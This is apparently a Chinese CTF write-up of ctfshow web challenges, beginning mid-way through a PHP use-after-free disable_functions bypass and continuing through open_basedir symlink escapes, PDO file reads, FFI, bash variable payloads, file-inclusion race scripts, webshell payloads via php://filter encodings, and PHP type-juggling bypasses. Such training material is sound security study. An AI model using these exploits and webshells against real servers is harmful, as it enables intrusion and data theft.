if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush(); ?>
方法三 :通过symlink 绕过 (软链接)
就是linux的快捷方式
我们可以通过软连接;链接其他文件 然后对其进行访问
mkdir
创建文件夹
chdir
切换到某文件夹的工作区间
假如我们在/var/www/html/的3.php处
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
?>
执行
发现现在的路径变为了/var/www/html/A/B/C/D/
这个时候 我们已经进入了 D目录
我们需要退回 html界面就通过 …即可
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
?>
这个时候 就处于 var/www/html目录下
然后我们通过软连接链接 abcd
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","Von");
?>
这个时候 我们再建立
symlink("Von/../../../../etc/passwd","exp");
的链接
但是这个我们是无法建立的 因为不存在这种软连接
但是我们只需要 删除 7abc的软连接 然后创建一个 7abc的文件夹
那么这样 就是
目录的Von/../../../etc/passwd
这样就不会访问快捷方式的 而是当前目录的 然后访问exp
然后
system('cat exp');
就可以查看文件了
这样我们就打破了 open_basedir的限制 访问了其他目录的内容
<?php
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","Von");
symlink("Von/../../../../etc/passwd","exp");
unlink("Von");
mkdir("Von");
system("cat exp");
?>
这里payload的重点就是
我们想要跨越多少层
就需要建立多少层的 目录
然后通过软连接
删除 生成文件夹
然后就可以通过当前文件夹 链接到该去的地方
首先前面8步,实现了创建a/b/c/d目录,并把当前目录移动到该目录下面。
接着symlink(“a/b/c/d”,”Von”)创建了一个符号文件Von,指向了a/b/c/d
接着symlink(“Von/…/…/…/…/etc/passwd”,”exp”),由于此时Von仍然是一个符号文件,所以等价于symlink(“a/b/c/d/…/…/…/…/etc/passwd”,”exp”),由于此时a/b/c/d/…/…/…/…/的结果等于/var/www/html,符合open_basedir的限制,因此软链接可以被成功建立。
但是之后我们删除了Von这个软链接,并且建立了一个真实的文件夹Von,所以此时上面symlink(“Von/…/…/…/…/etc/passwd”,”exp”)中的Von不再是软链接而是一个真实的目录。从而达到跨目录访问的效果。 其实到了这一步,我们直接访问根目录下的exp文件能得到结果,我上面是为了让结果直观展示出来才利用使用了system(‘cat exp’)来得到结果。(一般情况下system()是被禁的)
web75(PDO绕过)
题目:
Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 24
你要上天吗?
解题思路:
1、目录文件扫描
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}exit();
回显位置:flag36.txt
2、读取文件
本题还通过include_path限制了文件包含的路径,无法直接使用include包含得到flag信息,于是尝试使用uaf的方式绕过命令执行的限制,但是由于本题过滤了strlen,我也尝试了使用几种方法重写strlen函数,但是都没有执行成功,后续如果重写成功后会及时更新,因此参照提示信息使用PDO连接MySQL数据库的方式读取flag信息,payload如下。
try {
# 创建 PDO 实例, 连接 MySQL 数据库
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
# 在 MySQL 中,load_file(完整路径) 函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
}
catch (PDOException $e) {
echo $e->getMessage();exit(0);
}
exit(0);
分析:就是通过 php PDO(php data object) 连接数据库,通过数据库的函数间接查询文件内容。
那现在的问题就在于怎么获得题目环境使用的数据库名称?
B站 CTFshow 官方视频讲解说之前见过几次数据库名为 “ ctftraining ”。好吧,这算是个小坑吧。估计以后涉及到数据库操作就先猜测数据库名为 “ ctftraining ”。
payload:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web77(PHP7.4 FFI)
PHP 7.4 FFI简介
FI是什么?
FFI(Foreign Function Interface),即外部函数接口 是 php7.4 出的一个扩展,提供了高级语言直接的相互调用。
是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
优点:
没有FFI的的时候,传统的方式,当我们需要用一些已有的C语言的库的能力的时候,我们需要用C语言写wrapper,把他们包装成扩展,这个过程中就需要大家去学习PHP的扩展怎么写,当然现在也有一些方便的方式,比如Zephir. 但总还是有一些学习成本的,而有了FFI以后,我们就可以直接在PHP脚本中调用C语言写的库中的函数了
FFI可以让我们更加方便的调用C语言积累的大量的优秀的库,享受这个庞大的资源
思路:
首先还是利用
c=$a ="glob:///*"; if($b = opendir($a)){ while( ($file = readdir($b)) !== false ){ echo "filename:".$file."\n"; } closedir($b); }exit;
或
c=?><?php$a = new DirectoryIterator("glob:///*");foreach ($a as $f){echo $f->__tostring()." ";}exit();?>
发现flag在readflag里
这时候就要用到FFI了
构造flag
$ffi = FFI::cdef(
"int system(const char *command);");//这里面的c语言库中的代码
$ffi->system("/readflag > 1.txt");//调用ffi对象的方法
exit();
web118(BASH命令构造变量)
通过输入一系列的payload后发现,过滤了小写字母,数字,特殊符号等
并且通过dirsearch发现了flag.php在/var/www/html中,于是我们想办法拼凑出能够执行的命令
$PWD和${PWD} 表示当前所在的目录 /var/www/html
${#PWD} 13 前面加个#表示当前目录字符串长度
${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3} html 代表从最后面开始向前截取几位(从零开始)
${PWD:3:1} r
${PWD:~3:1} h
${PWD:~A} l 这里的A其实就是表示1//任意的大小写字母与数字 0 等效
${SHLVL:~A} 1 代表数字1
root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1} //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1} //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1} //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A} //字母代表0
t
所以可以利用各个环境变量的最后一位来构造命令。 ${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,那么${PWD:~A}的结果就应该是’ l ‘,因为${PATH:~A}的结果是’ n ',那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php
payload:
code=${PATH:~A}${PWD:~A} ????.???
web119
这一关发现和上一关一样,被过滤了${PATH}无法再使用上一关的PAYLOAD
因此我们重新构造一个Payload
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
就是/???/??t ????.???
就是/bin/cat flag.php
可以构造/bin/cat flag.php,需要t和/,${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname应该是5个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替
大致意思是
${PWD:${#}:${#SHLVL}} > ${PWD:1:1} > / (${#}=1,${#SHLVL}=1) ${HOME:${#HOSTNAME}:${#SHLVL}} >
${#}:输出0 ${##}和${#?}:输出1 (只能计算这两个再多都会置零)
${#IFS}=3 (在linux里$IFS占三位,mac占四位)
$HOME:家目录的环境变量
$SHLVL:这里的shell只有一层嵌套所以是1
SHLVL记录了bash Shell嵌套的层次,当启动第一个Shell时, $SHLVL=1,如果在这个Shell中执行脚本,脚本中的SHLVL为2,如果脚本再执行子脚本,子脚本中的SHLVL就变为3了。
${#PATH}:会计算PATH里的长度,类似于python里的len函数
{}:应该是计算符
$USER:当前用户吧
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
/bin/base64 flag.php 这里其实${IFS}可以不用直接用空格,因为没禁
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。
4的问题,可以用${#RANDOM},在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
web120
和上道题一样
code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
web121
除了随机数payload
使用rev命令也可以执行
${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???
就是/???/??v ????.???
就是/bin/rev flag.php
web122
这题在上题的基础上又过滤了#
和PWD
,PWD的绕过很简单,用HOME就可以,而#,就要用到$?
了
$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
所以在使用$?
之前要先给错误的命令 让$?
的值为1
${}
和 可以但是题目上
${}这个不可以 所以用
后边的数字4还是用RANDOM
随机数来获取
执行<A
等命令会因找不到目录或者文件执行失败,返回值是1,$?
获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。
要点
命令执行失败时返回值
通常情况下,命令执行失败时,返回值会是一个非零值(通常为 1,但也可能是其他值)。成功执行的命令返回值为 0。
web124(白名单、编码利用)
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
观察题目源码发现,过滤了大部分的东西,因此我们只能使用白名单的参数
但是题目的参数并不支持我们执行命令执行,因此我们要想办法绕过
于是我们想到了,让参数逃逸,这样无论我们输入什么都不被过滤
于是
c=$_GET[参数];&参数=...
这里我们的参数也被过滤了,但是有白名单,因此我们使用白名单里面的参数进行传参
但是$_GET被过滤了,怎么构造呢?
在白名单中我们发现有base_convert、dechex
等函数,看看想办法能不能让他构造参数
首先要构造_GET
base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符
最重要的是hex2bin函数,但是不在白名单里面
构造流程
base_convert('hex2bin',36,10) --> 37907361743
_GET → hex十六进制 5f474554 (不能有字母所以十六进制不行) → dec十进制 1598506324
我们首先将bin2hex('_GET');->'5f474554'
发现有字母,因此不行,想办法把16进制变成2进制并且返回其ASCII码,于是就要用到hex2bin()
函数,但是这个函数被禁用了,我们要想办法构造该函数base_convert('hex2bin',36,10);-> 37907361743
(因为36进制中有数字0-9和字母a-z)
然后我们构造_GET=base_convert(37907361743,10,36)(dechex(1598506324));
再利用变量的嵌套$ p i = pi= pi=_GET
然后利用变量的索引{}
绕过[]
{abs}
表示字符串中的数组或字符索引,实际上是访问某个数组元素或字符串中的特定字符。
如
$example{abs}等价于$example['abs']
也就是
$$pi{abs}($$pi{acos});&abs=system&acos=ls
等价于$_GET[abs]($_GET[acos])
等价于system(ls)
于是payload
?c=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*
文件包含
web80(日志文件包含)
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
当php和data都被过滤时,可以使用
首先访问日志文件
?file=/var/log/nginx/access.log
在UA写入命令,或者一句话木马,连接
web82(利用session.upload_progress进行文件包含和反序列化渗透)
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
观察题目发现.
被过滤了,不能再使用日志包含了
于是我们想到了在传入PHPSESSID的时候会生成一个临时文件/tmp/sess_xxx
通过该函数可以实现文件路径的可控session.upload_progress
参考文章
[]: https://www.freebuf.com/vuls/202819.html
脚本:
import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'system("cat f*");'
}
file={
'file':'abc'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
web87(绕过死亡函数die/exit)
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
通过观察发现,使用了 file_put_contents()函数,将后面的"<?php die('大佬别秀了');?>". c o n t e n t 写入 u r l d e c o d e ( content写入urldecode( content写入urldecode(file),因此我们要进行两次url编码,因为中间件自己会解码一次,为了确保代码正常执行,因此进行二次编码(当出现post的时候,主体跟着post走)
知识点
base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
当$content被加上了<?php die('大佬别秀了');?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符**<、?、;、>、**空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpdie” 和我们传入的其他字符
base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符
"phpdieaa"被正常解码,因此他就无法执行原来的功能了,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php die('大佬别秀了');?>没有了。
方法一:base64绕过
file=php://filter/write=convert.base64-decode/resource=shell.php对他进行两次url编码
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
又因为base64是以4byte为一组,因此需要
POST:
content=<?php system($_GET[1]);?>
content=aa(前面加两位是为了和phpdie凑成4byte让base64正常编码从而失去函数原有的作用)PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg==
/shell.php?1=ls
/shell.php?1=tac fl0g.php
方法二:rot13编码绕过
和base64绕过的方法类似,利用rot13编码,让phpdie失去原有的作用
<?php die('大佬别秀了');?> => <?cuc qvr('大佬别秀了');?>?file=php://filter/write/string.rot13/resource=shell.php
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
POST:
content=<?php system($_GET[1]);?>
content=<?cuc flfgrz($_TRG[1]);?>
web88(data伪协议)
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
通过观察,发现没用过滤data协议
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg==&1=ls
因为题目不能带==,所以删除或者替换
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pgaa&1=ls
通过base64编码写入数据
web117(iconv.UCS-2LE.UCS-2BE)
UCS-2LE 和 UCS-2BE编码
是两种不同的 Unicode 字符编码格式,它们主要区别在于字节序(endianness)。
UCS-2
UCS-2 (Universal Character Set - 2 bytes) 是一种使用 16 位(2 字节)来编码 Unicode 字符的编码方式。它能够表示的字符范围是基本多文种平面(BMP,Basic Multilingual Plane)的字符,也就是从 U+0000 到 U+FFFF 的字符。
UCS-2LE 和 UCS-2BE
- UCS-2LE (Little Endian):小端序编码。在小端序编码中,低位字节存储在低地址,高位字节存储在高地址。
- 例如,字符
U+0041
(即字母 ‘A’)在 UCS-2LE 中存储为41 00
。
- 例如,字符
- UCS-2BE (Big Endian):大端序编码。在大端序编码中,高位字节存储在低地址,低位字节存储在高地址。
- 例如,字符
U+0041
在 UCS-2BE 中存储为00 41
。
- 例如,字符
示例
假设有一个 Unicode 字符 U+0041
(字母 ‘A’),其在不同编码下的表示如下:
- UCS-2LE:
41 00
- UCS-2BE:
00 41
再比如字符 U+4E2D
(汉字 ‘中’),其在不同编码下的表示如下:
-
UCS-2LE:
2D 4E
-
UCS-2BE:
4E 2D
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
观察源码发现,编码都不能用了
这时可以用iconv.UCS-2LE.UCS-2BE
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
转换
<?php
$re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re;
?>
POST:
contents=?<hp pe@av(l_$EG[T]1;)>?
/shell.php?1=system("tac flag.php");
PHP特性
web89(intval数组返回类型)
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){ die("no no no!"); }
if(intval($num)){ echo $flag; }
}
思路:
既然要让他输出flag,就要让if条件判断为真1
想办法让intval
返回真值于是:
让数组非空即可返回1
payload
?num[]=1
web90
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
分析代码,发现intval($num,0)===4476
进行了强比较,类型也需要一样
通过ai发现,intval
的第二个参数``$base`:进制基数,默认是 10
当 $base
为 0 时,intval
会根据字符串的格式自动选择进制:
- 如果字符串以
0x
或0X
开头,则认为是十六进制数。 - 如果字符串以
0
开头,则认为是八进制数。 - 否则认为是十进制数。
因此构造payload
?num=010574 //0开头表示8进制,0x开头表示16进制
?num=0x117c
经过测试4476a,经过intval后值也为4476
?num=4476a
web91(正则匹配修饰符的绕过)
正则匹配
正则表达式(Regular Expressions, regex)是一种用于字符串匹配的强大工具。它可以用于查找、替换、验证字符串模式。以下是正则表达式的基本语法和一些示例。
基本符号
.
:匹配除换行符之外的任何单个字符。^
:匹配字符串的开头。$
:匹配字符串的结尾。*
:匹配前面的子表达式零次或多次。+
:匹配前面的子表达式一次或多次。?
:匹配前面的子表达式零次或一次。{n}
:匹配前面的子表达式恰好 n 次。{n,}
:匹配前面的子表达式至少 n 次。{n,m}
:匹配前面的子表达式至少 n 次,但不超过 m 次。
字符类
[abc]
:匹配方括号内的任意一个字符(此例中为 a、b 或 c)。[^abc]
:匹配不在方括号内的任意一个字符(除 a、b 和 c 之外的字符)。[a-z]
:匹配任何从 a 到 z 的小写字母。[A-Z]
:匹配任何从 A 到 Z 的大写字母。[0-9]
:匹配任何数字。[\s]
:匹配任何空白字符(包括空格、制表符、换行符等)。[\d]
:匹配任何数字字符(等同于[0-9]
)。[\w]
:匹配任何字母、数字或下划线字符(等同于[a-zA-Z0-9_]
)。
预定义字符类
\d
:匹配任何数字字符,等同于[0-9]
。\D
:匹配任何非数字字符,等同于[^0-9]
。\s
:匹配任何空白字符(如空格、制表符),等同于[ \t\n\x0b\r\f]
。\S
:匹配任何非空白字符,等同于[^ \t\n\x0b\r\f]
。\w
:匹配任何字母、数字或下划线字符,等同于[a-zA-Z0-9_]
。\W
:匹配任何非字母、数字或下划线字符,等同于[^a-zA-Z0-9_]
。
分组和捕获
(...)
:将括号内的表达式组合在一起,并捕获匹配的结果。(?:...)
:将括号内的表达式组合在一起,但不捕获匹配的结果。
选择和分支
|
:匹配符号两侧的任意一个表达式。
转义字符
\
:用来转义元字符,使其成为普通字符。如\.
,\*
,\+
,\?
,\(
,\)
。
常见修饰符
i
:忽略大小写匹配(case-insensitive)。m
:多行匹配模式(multi-line)。^
和$
匹配每行的开始和结束。s
:单行匹配模式(single-line)。.
匹配包括换行符在内的所有字符。x
:忽略模式中的空白字符,并允许在模式中使用注释。A
:强制从字符串开始进行匹配(等同于^
)。D
:强制$
仅匹配字符串的末尾。U
:禁止贪婪匹配(默认是贪婪匹配)
示例
以下是一些常见的正则表达式及其解释:
-
匹配一个简单的电子邮件地址:
$pattern = '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/';
-
匹配一个 URL:
$pattern = '/^(https?|ftp):\/\/[^\s/$.?#].[^\s]*$/i';
-
匹配一个美国的电话号码格式(123-456-7890 或 (123) 456-7890):
$pattern = '/^(\(\d{3}\) |\d{3}-)\d{3}-\d{4}$/';
-
匹配一个日期格式(YYYY-MM-DD):
$pattern = '/^\d{4}-\d{2}-\d{2}$/';
-
匹配一个 IP 地址:
$pattern = '/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/';
PHP 中的正则表达式使用示例
<?php
$pattern = '/\d{3}-\d{2}-\d{4}/'; // 匹配美国的社会安全号码格式
$string = 'My SSN is 123-45-6789';
if (preg_match($pattern, $string, $matches)) {
echo "Match found: " . $matches[0]; // 输出:Match found: 123-45-6789
} else {
echo "No match found";
}
?>
题目
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
第一次匹配了/^php$/im
第二次匹配了/^php$/i
第一个有多行匹配,第二个无
因此我们需要让第一个if为true第二个不为true
/^php$/im:
^:匹配行的开头。
php:匹配字符 "php"。
$:匹配行的结尾。
i:忽略大小写。
m:多行模式,意味着 ^ 和 $ 不仅匹配字符串的开头和结尾,还匹配每一行的开头和结尾。
/^php$/i:
^:匹配字符串的开头。
php:匹配字符 "php"。
$:匹配字符串的结尾。
i:忽略大小写。
因此我们构造payload
?num=%0aphp
web92(科学计数法)
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
通过观察可以直接使用
?num=0x117c
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以、
在弱类型比较的时候,4476e123是科学计数法4476*10^123,而在intval函数中,遇到字母就停止读取,因此是4476,成功绕过,非常巧妙。
意思就是在第一个if的时候,通过4476e123是科学计数法,绕过第一个if
但是在intval函数中,遇见第一个字母就停止读取,因此不会被解析为科学技术法,从而绕过第二个if
?num=4476e1
或者使用小数,因为php是由c语言开发的
?num=4476.1
web95(strpos函数)
`strpos` 是 PHP 中用于查找一个字符串在另一个字符串中首次出现的位置的函数。它的用法和返回值需要一些注意。让我们详细了解一下 `strpos` 函数的用法和注意事项。
### 函数定义
```php
int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
```
### 参数
- **haystack**: 要搜索的字符串。
- **needle**: 要搜索的字符串或字符。
- **offset** (可选): 搜索的开始位置。如果提供了 offset 参数,其值必须在 0 到字符串长度之间。
### 返回值
- **成功时**: 返回 needle 在 haystack 中首次出现的位置(从 0 开始的整数)。
- **失败时**: 返回 `false`。
### 示例代码
1. **查找字符串中字符的位置**
```php
$position = strpos("Hello World", "o");
echo $position; // 输出 4
```
2. **查找子字符串的位置**
```php
$position = strpos("Hello World", "World");
echo $position; // 输出 6
```
3. **使用 offset**
```php
$position = strpos("Hello World", "o", 5);
echo $position; // 输出 7
```
4. **查找不存在的字符串**
```php
$position = strpos("Hello World", "x");
if ($position === false) {
echo "Not found"; // 输出 Not found
}
```
### 注意事项
- **严格比较**: 使用 `===` 而不是 `==` 来比较 `strpos` 的返回值,防止混淆 `false` 和位置 0。因为 `0` 和 `false` 在非严格比较时会被视为相等。
#### 错误示例:
```php
if (strpos("Hello World", "H")) {
echo "Found";
} else {
echo "Not found";
}
// 输出 Not found,因为 strpos 返回 0,!0 是 true。
```
#### 正确示例:
```php
if (strpos("Hello World", "H") === false) {
echo "Not found";
} else {
echo "Found";
}
// 输出 Found
```
### 总结
